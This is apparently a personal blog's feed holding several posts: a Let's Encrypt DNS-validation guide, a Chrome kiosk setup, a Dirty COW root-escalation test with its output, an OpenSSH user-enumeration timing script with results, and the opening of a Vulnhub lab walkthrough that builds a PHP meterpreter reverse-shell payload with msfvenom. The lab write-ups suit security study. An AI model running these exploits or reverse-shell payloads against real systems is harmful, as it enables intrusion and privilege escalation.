</blockquote>Let's encrypt certificate for offline servers with OVH DNS2016-12-27T11:58:00+01:002016-12-27T11:58:00+01:00maggicktag:maggick.fr,2016-12-27:/2016/12/lets-encrypt-certificate-for-offline-servers-with-ovh-dns.html<p><a href="https://letsencrypt.org/">Let's encrypt</a> provide free and easy SSL certificates. Nevertheless it need to verify that
you own the machine. In order to do that we usually use HTTP verification with
the .well-known directory.</p>
<p>But sometime our servers are not reachable from the internet. Therefore the HTTP
validation is not possible. Hopefully there is another way the <a href="https://letsencrypt.github.io/acme-spec/">acme</a> challenge can be
validated: <a href="https://letsencrypt.github.io/acme-spec/#rfc.section.7.4">DNS validation</a>.</p>
<p>In this post we will see how we can generate <a href="https://letsencrypt.org/">Let's encrypt</a> SSL certificate for
offline machine with DNS validation for domains hosts by <a href="https://ovh.com">OVH</a>.</p>
<p><a href="https://letsencrypt.org/">Let's encrypt</a> provide free and easy SSL certificates. Nevertheless it need to verify that
you own the machine. In order to do that we usually use HTTP verification with
the .well-known directory.</p>
<p>But sometime our servers are not reachable from the internet. Therefore the HTTP
validation is not possible. Hopefully there is another way the <a href="https://letsencrypt.github.io/acme-spec/">acme</a> challenge can be
validated: <a href="https://letsencrypt.github.io/acme-spec/#rfc.section.7.4">DNS validation</a>.</p>
<p>In this post we will see how we can generate <a href="https://letsencrypt.org/">Let's encrypt</a> SSL certificate for
offline machine with DNS validation for domains hosts by <a href="https://ovh.com">OVH</a>.</p>
<h2>Certificate generation</h2>
<h3>Requirements</h3>
<ul>
<li>A domain name with its DNS hosted by <a href="https://ovh.com">OVH</a></li>
<li>curl (sudo apt-get install curl)</li>
<li>Python 2 or 3 and pip (sudo apt-get install python-pip)</li>
<li>python-ovh (pip install ovh)</li>
<li>dehydrated (git clone https://github.com/lukas2511/dehydrated)</li>
<li>OVH hook (git clone https://github.com/antoiner77/letsencrypt.sh-ovh)</li>
</ul>
<h3>API Key generation</h3>
<p>We need API keys in order to use the hook script for the DNS validation. For
that, register the application on <a href="https://eu.api.ovh.com/createApp/">OVH API</a>.</p>
<p>We get two elements from the website:
* APP_KEY
* APP_SECRET</p>
<p>We need to put them in our <code>ovh.conf</code> file in the OVH hook script:</p>
<div class="highlight"><pre><span></span><code>[default]
; general configuration: default endpoint
endpoint=ovh-eu
[ovh-eu]
; configuration specific to 'ovh-eu' endpoint
application_key=APP_KEY
application_secret=APP_SECRET
; uncomment following line when writing a script application
; with a single consumer key.
;consumer_key=MA_CLEFS
</code></pre></div>
<p>Now we need to generate the use token in order to validation our keys (you may
need to had execution permissions to the script):</p>
<div class="highlight"><pre><span></span><code>./ovhdns.py --init
</code></pre></div>
<p>We get an other link where we need to authenticate one more time. When it is
done just press the <code>ENTER</code> key.</p>
<p>The script indicate the user token to insert in the <code>ovh.conf</code> file. Be sure to
uncomment the line by deleting the <code>;</code> at the beginning of the line.</p>
<p>The configuration file will be needed in the <code>dehydrated</code> folder, let's just
create a symlink:</p>
<div class="highlight"><pre><span></span><code>ln -s /home/user/letsencrypt.sh-ovh/ovh.conf /home/user/dehydrated/ovh.conf
</code></pre></div>
<p>The hook script configuration is finished, now let's configure the <code>dehydrated</code>
script.</p>
<h3>dehydrated configuration</h3>
<p>In the domains.txt file, indicate the certificates that you want to generate.
Each line will be a certificate but one certificate can be valid for several
domains. For instance, the following configuration will generate two certificates
each for two domains.</p>
<div class="highlight"><pre><span></span><code>example.org www.example.org
gitlab.example.com wikimedia.example.com
</code></pre></div>
<h3>Certificates generation</h3>
<p>Just launch the dehydrated script (you may need to had execution permission):</p>
<div class="highlight"><pre><span></span><code>./dehydrated -c -t dns-01 -k '/home/user/letsencrypt.sh-ovh/ovhdns.py'
</code></pre></div>
<ul>
<li><code>-c</code> (re)generate certificates, will renew them if they expire in less than one month</li>
<li><code>-t dns-01</code> use the DNS challenge for acme validation</li>
<li><code>-k</code> use specific script for hook</li>
</ul>
<p>The certificates are stored in <code>/home/user/dehydrated/certs/</code>.</p>
<h2>Automatically renew certificates</h2>
<p>In order to automatically renew certificate:</p>
<p>Create a symlink in order to use the certificate and the necessary key. This
is the only moment where we will need root permissions. For
instance, for the gitlab certificate we need <code>gitlab.crt</code> and <code>gitlab.key</code>:</p>
<div class="highlight"><pre><span></span><code># ln -s /home/user/dehydrated/certs/git.exemple.fr/fullchain.pem /etc/gitlab/ssl/gitlab.crt
# ln -s /home/user/dehydrated/certs/git.exemple.fr/privkey.pem /etc/gitlab/ssl/gitlab.key
</code></pre></div>
<p>Add the following line to the crontab (<code>crontab -e</code>):</p>
<div class="highlight"><pre><span></span><code><span class="mf">0</span><span class="w"> </span><span class="mf">15</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">cd</span><span class="w"> </span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">user</span><span class="o">/</span><span class="n">dehydrated</span><span class="o">/</span><span class="p">;</span><span class="w"> </span><span class="mf">.</span><span class="o">/</span><span class="n">dehydrated</span><span class="w"> </span><span class="o">-</span><span class="n">c</span><span class="w"> </span><span class="o">-</span><span class="n">t</span><span class="w"> </span><span class="n">dns</span><span class="o">-</span><span class="mf">01</span><span class="w"> </span><span class="o">-</span><span class="n">k</span><span class="w"> </span><span class="err">'</span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">user</span><span class="o">/</span><span class="kd">let</span><span class="n">sencrypt</span><span class="mf">.</span><span class="n">sh</span><span class="o">-</span><span class="n">ovh</span><span class="o">/</span><span class="n">ovhdns</span><span class="mf">.</span><span class="n">py</span><span class="err">'</span>
</code></pre></div>
<h2>Source</h2>
<p><a href="https://ungeek.fr/letsencrypt-api-ovh/">https://ungeek.fr/letsencrypt-api-ovh/</a></p>
<h1>Disqus comments</h1>
<p><em>This is a copy of the Disqus comments for this page</em></p>
<p><strong>Christoph Haas - 2017</strong></p>
<blockquote>
<p>Hi maggick,</p>
<p>I followed your instructions, the only thing i was uncertain was if I should change ";consumer_key=MA_CLEFS" with the output of "./ovhdns.py --init", then remove the ";" in front.</p>
<p>I got this error response from the dehydrated-call:
--- snip ---
Traceback (most recent call last):
File "/root/letsencrypt.sh-ovh/ovhdns.py", line 42, in <module>
target=token)
File "/usr/local/lib/python2.7/dist-packages/ovh/client.py", line 375, in post
return self.call('POST', _target, kwargs, _need_auth)
File "/usr/local/lib/python2.7/dist-packages/ovh/client.py", line 436, in call
response=result)
ovh.exceptions.InvalidCredential: This credential is not valid
OVH-Query-ID: FR.ws-2.58ff13c9.3236.2138
--- snap ---</module></p>
<p>What could be the cause?</p>
<p>TIA
Christoph.</p>
</blockquote>
<p><strong>maggick - 2017</strong></p>
<blockquote>
<p>Yeah you must replace the "consumer_key" parameter with the output of "./ovhdns.py --init".
It should fix your problem.</p>
</blockquote>
<p><strong>Christoph Haas - 2017</strong></p>
<blockquote>
<p>after validating the token, I progressed a little bit:</p>
<ul>
<li>Responding to challenge for host1.intern.somewithovhhos......</li>
<li>Responding to challenge for host2.intern.somewithovhhos......</li>
<li>Challenge is valid!</li>
<li>Requesting certificate...</li>
<li>ERROR: An error occurred while sending post-request to acme-v01.api.letsen... (Status 403)</li>
</ul>
<p>Details:
{
"type": "urn:acme:error:unauthorized",
"detail": "Error creating new cert :: authorizations for these names not found or expired: host2.intern.somewithovhhos...",
"status": 403
}</p>
<p>Traceback (most recent call last):
File "/root/letsencrypt.sh-ovh/ovhdns.py", line 56, in <module>
client.delete('/domain/zone/%s/record/%s' % (basedomain, id_record))
File "/usr/local/lib/python2.7/dist-packages/ovh/client.py", line 385, in delete
return self.call('DELETE', _target, None, _need_auth)
File "/usr/local/lib/python2.7/dist-packages/ovh/client.py", line 441, in call
response=result)
ovh.exceptions.ResourceNotFoundError: This service does not exist</module></p>
<p>nor certificate for "host1.intern.somewithovhhos..." nor for "host2.intern.somewithovhhos..." is generated.
Christoph.</p>
</blockquote>
<p><strong>maggick - 2017</strong></p>
<blockquote>
<p>I just test the process again. It still work.
According to the error message you cannot modify the DNS. If you follow the process you should have the permissions.</p>
</blockquote>Building a kiosk computer with Chrome2016-12-26T09:10:00+01:002016-12-26T09:10:00+01:00maggicktag:maggick.fr,2016-12-26:/2016/12/building-a-kiosk-computer-with-chrome.html<p>Building a Kiosk where Google Chrome is running in full screen and user
interaction with the system are reduced to the minimum.</p>
<p>Building a Kiosk where Google Chrome is running in full screen and user
interaction with the system are reduced to the minimum.</p>
<h2>Debian installation</h2>
<p>This will be pass as most of you should be able to install a basic Debian
system. Just set lvm encryption, strong password for root and for the user and
mostly do not install useless program, check only the program you need (ssh for
instance).</p>
<h2>Installing the packages</h2>
<p>We will need a few more packages to be able to run things:</p>
<ul>
<li>X (display server)</li>
<li>A light window manager able to run Chrome in full screen</li>
<li>Google Chrome</li>
<li>sudo to be able to impersonate the user</li>
</ul>
<p>The first operations will be done using root as the sudo command is not
installed yet.</p>
<p>First we add the Google Chrome repository and the key to check the package
integrity:</p>
<ul>
<li>Edit the file <code>/etc/apt/source.list</code> and add the following repository:</li>
</ul>
<p><code>deb http://dl.google.com/linux/chrome/deb/ stable main</code></p>
<ul>
<li>Execute the following command:</li>
</ul>
<p><code>wget -qO- https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add -</code></p>
<p>Then we need to update the package list and install all necessary packages:</p>
<div class="highlight"><pre><span></span><code>apt-get update
apt-get install --no-install-recommends xorg openbox sudo google-chrome-stable
</code></pre></div>
<p>Without the <code>--no-install-recommends</code>parameter some useless packages will be
installed.</p>
<h2>Load Chrome in kiosk at startup</h2>
<p>We need a script that will configure and load Chrome at the X server startup.
As we don't want any data saved between each session we will delete the Chrome
profile each time the script is used. Moreover it is in this script that we
choose the starting page of Chrome.</p>
<p>Create and edit the script:</p>
<div class="highlight"><pre><span></span><code>sudo vi /opt/kiosk.sh
</code></pre></div>
<p>The file content is the following:</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span>
<span class="normal">5</span>
<span class="normal">6</span>
<span class="normal">7</span>
<span class="normal">8</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="ch">#!/bin/bash</span>
xset<span class="w"> </span>-dpms
xset<span class="w"> </span>s<span class="w"> </span>off
openbox-session<span class="w"> </span><span class="p">&</span>
<span class="k">while</span><span class="w"> </span>true<span class="p">;</span><span class="w"> </span><span class="k">do</span><span class="w"> </span>rm<span class="w"> </span>-rf<span class="w"> </span>~/.<span class="o">{</span>config,cache<span class="o">}</span>/google-chrome/
<span class="w"> </span>google-chrome<span class="w"> </span>--kiosk<span class="w"> </span>--no-first-run<span class="w"> </span><span class="s1">'http://localhost'</span>
<span class="k">done</span>
</code></pre></div></td></tr></table></div>
<p>Give the execution right to the script:</p>
<div class="highlight"><pre><span></span><code>sudo chmod +x /opt/kiosk.sh
</code></pre></div>
<p>In order to start the X server and launch the <code>kiosk.sh</code> script, we need to
create a systemd service.</p>
<p>In order to to that, create and edit the file <code>/etc/systemd/system/kiosk.service</code>:</p>
<div class="highlight"><pre><span></span><code>sudo vi /etc/systemd/system/kiosk.service
</code></pre></div>
<p>The content of the file is the following:</p>
<div class="highlight"><pre><span></span><code><span class="k">[Unit]</span>
<span class="na">Description</span><span class="o">=</span><span class="s">Kiosk</span>
<span class="k">[Service]</span>
<span class="na">Type</span><span class="o">=</span><span class="s">oneshot</span>
<span class="na">ExecStart</span><span class="o">=</span><span class="s">/usr/bin/sudo –u user /usr/bin/startx /etc/X11/Xsession /opt/kiosk.sh --</span>
<span class="k">[Install]</span>
<span class="na">WantedBy</span><span class="o">=</span><span class="s">multi-user.target</span>
</code></pre></div>
<p>We need to enable the script with the following command:</p>
<div class="highlight"><pre><span></span><code>systemctl enable kiosk
</code></pre></div>
<p>To run the script use the following command:</p>
<div class="highlight"><pre><span></span><code>systemctl start kiosk »
</code></pre></div>
<p>You can also reboot in order to check that the script is automatically launch at
startup.</p>
<p>If you need a terminal, you can use <ctrl>+<alt>+<f2-9> to get one.</f2-9></alt></ctrl></p>
<h2>Automatically mount USB key</h2>
<p>If your users need to copy data from the machine this paragraph is for you.
Otherwise this is just informational.</p>
<p>As our users don't have a shell access they are unable to mount USB key.
Therefore we need to automatically mount them.</p>
<p>We need the <code>usbmount</code> package:</p>
<div class="highlight"><pre><span></span><code>apt-get install --no-install-recommends usbmount
</code></pre></div>
<p>The USB keys will be automatically mount into <code>/mnt/usbX</code>.In order for the user
to have the permissions to right on it we need to add its <code>uid</code> and <code>gid</code> in the
<code>usbmount</code> configuration.</p>
<p>Edit the file <code>/etc/usbmount/usbmount.conf</code> and the user <code>uid</code> and <code>guid</code> to the
following line (the <code>uid</code> and <code>gid</code> can be found in <code>/etc/passwd</code>):</p>
<div class="highlight"><pre><span></span><code>FS_MOUNTOPTIONS=" "
</code></pre></div>
<p>The line would be something like the following:</p>
<div class="highlight"><pre><span></span><code>FS_MOUNTOPTIONS="uid=1000,gid=1000"
</code></pre></div>
<h2>Sources</h2>
<ul>
<li><a href="https://thepcspy.com/read/building-a-kiosk-computer-ubuntu-1404-chrome/">https://thepcspy.com/read/building-a-kiosk-computer-ubuntu-1404-chrome/</a></li>
<li><a href="https://lukas.zapletalovi.com/2013/08/execute-command-during-start-with-systemd.html">https://lukas.zapletalovi.com/2013/08/execute-command-during-start-with-systemd.html</a></li>
</ul>CVE 2016-5195 dirtycow2016-12-11T19:20:00+01:002016-12-11T19:20:00+01:00maggicktag:maggick.fr,2016-12-11:/2016/12/cve-2016-5195-dirtycow.html<p><img alt="Ðirtycow logo" class="align-left" src="/media/2016.12/cow.png" width="162"/></p>
<p>Dirty COW (CVE-2016-5195) is a privilege escalation vulnerability in the Linux
Kernel.
"<a href="https://en.wikipedia.org/wiki/Race_condition">A race condition</a> was found in
the way the Linux kernel's memory subsystem
handled the copy-on-write (COW) breakage of private read-only memory mappings.
An unprivileged local user could use this flaw to gain write access to otherwise
read-only memory mappings and thus increase their privileges on the system."
(<a href="https://bugzilla.redhat.com/show_bug.cgi?id=1384344#">Source: Red Hat</a>)</p>
<p><img alt="Ðirtycow logo" class="align-left" src="/media/2016.12/cow.png" width="162"/></p>
<p>Dirty COW (CVE-2016-5195) is a privilege escalation vulnerability in the Linux
Kernel.
"<a href="https://en.wikipedia.org/wiki/Race_condition">A race condition</a> was found in
the way the Linux kernel's memory subsystem
handled the copy-on-write (COW) breakage of private read-only memory mappings.
An unprivileged local user could use this flaw to gain write access to otherwise
read-only memory mappings and thus increase their privileges on the system."
(<a href="https://bugzilla.redhat.com/show_bug.cgi?id=1384344#">Source: Red Hat</a>)</p>
<p>So globally with the write code doing the right thing a unprivileged user can
get root permission on most GNU/Linux systems.
The satiric web site <a href="https://dirtycow.ninja/">dirtycow.ninja/</a> was in the first
time create to make fun of people giving name to vulnerability even a <a href="https://www.youtube.com/watch?v=kEsshExn7aE">youtube
video</a> was made. Nevertheless the
wiki of the website (on github) link to a <a href="https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs">few
PoCs</a>.</p>
<p>I test one of this PoCs on my test computer. The exploits were not fully stable
at the time an my computer was sometime friezing just after getting root
privileges.</p>
<p>I used a modified version of the cowroot.c PoCs host on <a href="https://gist.github.com/joshuaskorich/86c90e12436c873e4a06bd64b461cc43">a
gist</a>.
First of all we compile the exploit code:</p>
<div class="highlight"><pre><span></span><code>[maggick@computer_name dirtycow]$ gcc cowroot.c -o cowroot -pthread
cowroot.c: In function ‘procselfmemThread’:
cowroot.c:107:17: warning: passing argument 2 of ‘lseek’ makes integer from pointer without a cast [-Wint-conversion]
lseek(f,map,SEEK_SET);
^~~
In file included from cowroot.c:27:0:
/usr/include/unistd.h:337:16: note: expected ‘__off_t {aka long int}’ but argument is of type ‘void *’
extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW;
^~~~~
cowroot.c: In function ‘main’:
cowroot.c:144:5: warning: implicit declaration of function ‘asprintf’ [-Wimplicit-function-declaration]
asprintf(&backup, "cp %s /tmp/bak", suid_binary);
^~~~~~~~
cowroot.c:148:5: warning: implicit declaration of function ‘fstat’ [-Wimplicit-function-declaration]
fstat(f,&st);
^~~~~
</code></pre></div>
<p>The warning are not really important after the compilation we just launch the
exploit:</p>
<div class="highlight"><pre><span></span><code><span class="o">[</span><span class="n">maggick@computer_name dirtycow</span><span class="o">]</span><span class="err">$</span><span class="w"> </span><span class="p">.</span><span class="o">/</span><span class="n">cowroot</span>
<span class="n">DirtyCow</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">privilege</span><span class="w"> </span><span class="n">escalation</span>
<span class="n">Backing</span><span class="w"> </span><span class="n">up</span><span class="w"> </span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">passwd</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="o">/</span><span class="n">tmp</span><span class="o">/</span><span class="n">bak</span>
<span class="k">Size</span><span class="w"> </span><span class="k">of</span><span class="w"> </span><span class="nc">binary</span><span class="err">:</span><span class="w"> </span><span class="mi">47224</span>
<span class="n">Racing</span><span class="p">,</span><span class="w"> </span><span class="n">this</span><span class="w"> </span><span class="n">may</span><span class="w"> </span><span class="n">take</span><span class="w"> </span><span class="n">a</span><span class="w"> </span><span class="k">while</span><span class="p">..</span>
<span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">passwd</span><span class="w"> </span><span class="n">overwritten</span>
<span class="n">Popping</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">shell</span><span class="p">.</span>
<span class="n">Don</span><span class="err">'</span><span class="n">t</span><span class="w"> </span><span class="n">forget</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="k">restore</span><span class="w"> </span><span class="o">/</span><span class="n">tmp</span><span class="o">/</span><span class="n">bak</span>
<span class="n">thread</span><span class="w"> </span><span class="n">stopped</span>
<span class="n">thread</span><span class="w"> </span><span class="n">stopped</span>
<span class="o">[</span><span class="n">root@computer_name dirtycow</span><span class="o">]</span><span class="err">#</span><span class="w"> </span><span class="n">id</span>
<span class="n">uid</span><span class="o">=</span><span class="mi">0</span><span class="p">(</span><span class="n">root</span><span class="p">)</span><span class="w"> </span><span class="n">gid</span><span class="o">=</span><span class="mi">1000</span><span class="p">(</span><span class="n">maggick</span><span class="p">)</span><span class="w"> </span><span class="n">groups</span><span class="o">=</span><span class="mi">1000</span><span class="p">(</span><span class="n">maggick</span><span class="p">)</span>
</code></pre></div>
<p>And we got root privileges as planned. The exploit replace the
<code>/usr/bin/passwd</code> executable so we need to restore it with the one in
<code>/tmp/bak</code>.</p>
<p>In order to correct this vulnerability we just need to upgrade our kernel.</p>CVE 2016-6210 OpenSSHD user enumeration2016-07-23T08:45:00+02:002016-07-23T08:45:00+02:00maggicktag:maggick.fr,2016-07-23:/2016/07/cve-2016-6210-opensshd-user-enumeration.html<p>The 13th if July a new wild CVE appeared (Yes, Pokemon Go is still a buzz for
the moment).</p>
<p>The <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6210">CVE 2016-6210</a>
allow a user enumeration on an SSH server by comparing request time between non
existing user and allowed ones.
This vulnerability target OpenSSHD with a version of 7.2p2 or inferior.</p>
<p>That means with a good dictionary you may know which user are
present on the server with an SSH access.</p>
<p>This post just demonstrate how to exploit this vulnerability with a simple
example.</p>
<p>The 13th if July a new wild CVE appeared (Yes, Pokemon Go is still a buzz for
the moment).</p>
<p>The <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6210">CVE 2016-6210</a>
allow a user enumeration on an SSH server by comparing request time between non
existing user and allowed ones.
This vulnerability target OpenSSHD with a version of 7.2p2 or inferior.</p>
<p>That means with a good dictionary you may know which user are
present on the server with an SSH access.</p>
<p>This post just demonstrate how to exploit this vulnerability with a simple
example.</p>
<h2>OpenSSHD <= 7.2p2 - User Enumeration</h2>
<p>A tiny python script is present on
<a href="https://www.exploit-db.com/exploits/40113/">exploit-db</a>. I had to modify it a
bit in order to pass the username in parameter:</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="ch">#!/bin/python</span>
<span class="kn">import</span> <span class="nn">paramiko</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="n">user</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="n">p</span><span class="o">=</span><span class="s1">'A'</span><span class="o">*</span><span class="mi">25000</span>
<span class="n">ssh</span> <span class="o">=</span> <span class="n">paramiko</span><span class="o">.</span><span class="n">SSHClient</span><span class="p">()</span>
<span class="n">starttime</span><span class="o">=</span><span class="n">time</span><span class="o">.</span><span class="n">clock</span><span class="p">()</span>
<span class="n">ssh</span><span class="o">.</span><span class="n">set_missing_host_key_policy</span><span class="p">(</span><span class="n">paramiko</span><span class="o">.</span><span class="n">AutoAddPolicy</span><span class="p">())</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">ssh</span><span class="o">.</span><span class="n">connect</span><span class="p">(</span><span class="s1">'192.168.4.231'</span><span class="p">,</span> <span class="n">username</span><span class="o">=</span><span class="n">user</span><span class="p">,</span>
<span class="n">password</span><span class="o">=</span><span class="n">p</span><span class="p">)</span>
<span class="k">except</span><span class="p">:</span>
<span class="n">endtime</span><span class="o">=</span><span class="n">time</span><span class="o">.</span><span class="n">clock</span><span class="p">()</span>
<span class="n">total</span><span class="o">=</span><span class="n">endtime</span><span class="o">-</span><span class="n">starttime</span>
<span class="nb">print</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">user</span><span class="p">)</span><span class="o">+</span> <span class="s2">": "</span> <span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">total</span><span class="p">))</span>
</code></pre></div></td></tr></table></div>
<p>The script will simply try to connect to <code>192.168.4.231</code> with the user passed in
parameter and a password of 25 000 'A' and measure the time of the connection.</p>
<p>We create a simple list of possible user with a non existing user to be able to
compare connection times.</p>
<div class="highlight"><pre><span></span><code><span class="o">[</span><span class="n">maggick@computer_name tmp</span><span class="o">]</span><span class="err">$</span><span class="w"> </span><span class="n">cat</span><span class="w"> </span><span class="n">list</span>
<span class="n">nonExistsingUserForSure</span>
<span class="n">john</span>
<span class="n">root</span>
<span class="n">bob</span>
<span class="k">user</span>
<span class="n">alice</span>
<span class="nf">max</span>
<span class="n">ssh_user</span>
</code></pre></div>
<p>We launch the script against our test server:</p>
<div class="highlight"><pre><span></span><code><span class="o">[</span><span class="n">maggick@computer_name tmp</span><span class="o">]</span><span class="err">$</span><span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="k">read</span><span class="w"> </span><span class="n">l</span><span class="p">;</span><span class="w"> </span><span class="n">do</span><span class="w"> </span><span class="p">.</span><span class="o">/</span><span class="n">p</span><span class="p">.</span><span class="n">py</span><span class="w"> </span><span class="err">$</span><span class="n">l</span><span class="p">;</span><span class="w"> </span><span class="n">done</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="n">list</span>
<span class="nl">nonExistsingUserForSure</span><span class="p">:</span><span class="w"> </span><span class="mf">0.17941999999999997</span>
<span class="nl">john</span><span class="p">:</span><span class="w"> </span><span class="mf">0.18687900000000002</span>
<span class="nl">root</span><span class="p">:</span><span class="w"> </span><span class="mf">0.18173099999999998</span>
<span class="nl">bob</span><span class="p">:</span><span class="w"> </span><span class="mf">0.178726</span>
<span class="k">user</span><span class="err">:</span><span class="w"> </span><span class="mf">0.23088699999999995</span>
<span class="nl">alice</span><span class="p">:</span><span class="w"> </span><span class="mf">0.13389600000000002</span>
<span class="nf">max</span><span class="err">:</span><span class="w"> </span><span class="mf">0.17069700000000004</span>
<span class="nl">ssh_user</span><span class="p">:</span><span class="w"> </span><span class="mf">0.24780699999999997</span>
</code></pre></div>
<p>We can easily see that SSH root login is disallowed, and that the user <code>user</code>
and <code>ssh_user</code> are allowed to connect to the server using SSH.</p>
<p>As often with brute force, the major issue will be to build the dictionary but
some tools like <a href="https://github.com/digininja/CeWL">CeWL</a> from digininja can
help build it.</p>Vulnhub SecTalks: BNE0x03 - Simple2016-05-11T19:55:00+02:002016-05-11T19:55:00+02:00maggicktag:maggick.fr,2016-05-11:/2016/05/vulnhub-sectalks-bne0x03-simple.html<p><img alt="Simple homepage" class="align-left" src="/media/2016.05/simple1.png" width="162"/></p>
<p>As droopy was not really hard and doesn't contain as much web vulnerability as I
would hope for, I tried an other VM
<a href="https://www.vulnhub.com/entry/sectalks-bne0x03-simple,141/">SecTalks: BNE0x03 - Simple</a>
There were also hints on the description of the machine but with my resolution
they do not appear when just browsing the main page of vulnhub so I have not
spoiled myself with the hints this time.</p>
<p><img alt="Simple homepage" class="align-left" src="/media/2016.05/simple1.png" width="162"/></p>
<p>As droopy was not really hard and doesn't contain as much web vulnerability as I
would hope for, I tried an other VM
<a href="https://www.vulnhub.com/entry/sectalks-bne0x03-simple,141/">SecTalks: BNE0x03 - Simple</a>
There were also hints on the description of the machine but with my resolution
they do not appear when just browsing the main page of vulnhub so I have not
spoiled myself with the hints this time.</p>
<h2>Discovery</h2>
<p>Let's nmap the box to get some knowledge about it:</p>
<div class="highlight"><pre><span></span><code><span class="nx">root</span><span class="err">@</span><span class="nx">kalili</span><span class="p">:</span><span class="o">~</span><span class="err">#</span><span class="w"> </span><span class="nx">nmap</span><span class="w"> </span><span class="m m-Double">10.0.2.5</span><span class="w"> </span><span class="o">-</span><span class="nx">p0</span><span class="o">-</span><span class="mi">65535</span>
<span class="nx">Starting</span><span class="w"> </span><span class="nx">Nmap</span><span class="w"> </span><span class="m m-Double">7.12</span><span class="w"> </span><span class="p">(</span><span class="w"> </span><span class="nx">https</span><span class="p">:</span><span class="c1">//nmap.org ) at 2016-05-11 15:42 CEST</span>
<span class="nx">Nmap</span><span class="w"> </span><span class="nx">scan</span><span class="w"> </span><span class="nx">report</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="m m-Double">10.0.2.5</span>
<span class="nx">Host</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="nx">up</span><span class="w"> </span><span class="p">(</span><span class="m m-Double">0.00032</span><span class="nx">s</span><span class="w"> </span><span class="nx">latency</span><span class="p">).</span>
<span class="nx">Not</span><span class="w"> </span><span class="nx">shown</span><span class="p">:</span><span class="w"> </span><span class="mi">65535</span><span class="w"> </span><span class="nx">closed</span><span class="w"> </span><span class="nx">ports</span>
<span class="nx">PORT</span><span class="w"> </span><span class="nx">STATE</span><span class="w"> </span><span class="nx">SERVICE</span>
<span class="mi">80</span><span class="o">/</span><span class="nx">tcp</span><span class="w"> </span><span class="nx">open</span><span class="w"> </span><span class="nx">http</span>
<span class="nx">MAC</span><span class="w"> </span><span class="nx">Address</span><span class="p">:</span><span class="w"> </span><span class="mi">08</span><span class="p">:</span><span class="mi">00</span><span class="p">:</span><span class="mi">27</span><span class="p">:</span><span class="mi">60</span><span class="p">:</span><span class="mi">21</span><span class="p">:</span><span class="mi">5</span><span class="nx">C</span><span class="w"> </span><span class="p">(</span><span class="nx">Oracle</span><span class="w"> </span><span class="nx">VirtualBox</span><span class="w"> </span><span class="kd">virtual</span><span class="w"> </span><span class="nx">NIC</span><span class="p">)</span>
<span class="nx">Nmap</span><span class="w"> </span><span class="nx">done</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="nx">IP</span><span class="w"> </span><span class="nx">address</span><span class="w"> </span><span class="p">(</span><span class="mi">1</span><span class="w"> </span><span class="nx">host</span><span class="w"> </span><span class="nx">up</span><span class="p">)</span><span class="w"> </span><span class="nx">scanned</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="m m-Double">2.60</span><span class="w"> </span><span class="nx">seconds</span>
</code></pre></div>
<p>There seems once more that only the port 80 with a HTTP service is available.</p>
<h2>Web</h2>
<p>We go to the website. We notice that it is powered by CuteNews 2.0.3 (look at
the footer). We search on internet for vulnerability and found
<a href="https://www.exploit-db.com/exploits/37474/">one</a>.
This vulnerability allow the execute PHP code by uploading a malicious avatar.</p>
<p><img alt="Simple homepage" class="image-process-article-image" src="/media/2016.05/derivatives/article-image/simple1.png"/></p>
<p>We create an account in order to upload our avatar.</p>
<p><img alt="Simple account page" class="image-process-article-image" src="/media/2016.05/derivatives/article-image/simple2.png"/></p>
<p>We generate a PHP meterpreter using <code>msfvenom</code>:</p>
<div class="highlight"><pre><span></span><code>msfvenom -p php/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4444 -e php/base64 -f raw > /tmp/shell.php
</code></pre></div>
<p>We prepare our metasploit for the callback:</p>
<div class="highlight"><pre><span></span><code><span class="n">msf</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="n">use</span><span class="w"> </span><span class="n">exploit</span><span class="o">/</span><span class="n">multi</span><span class="o">/</span><span class="n">handler</span>
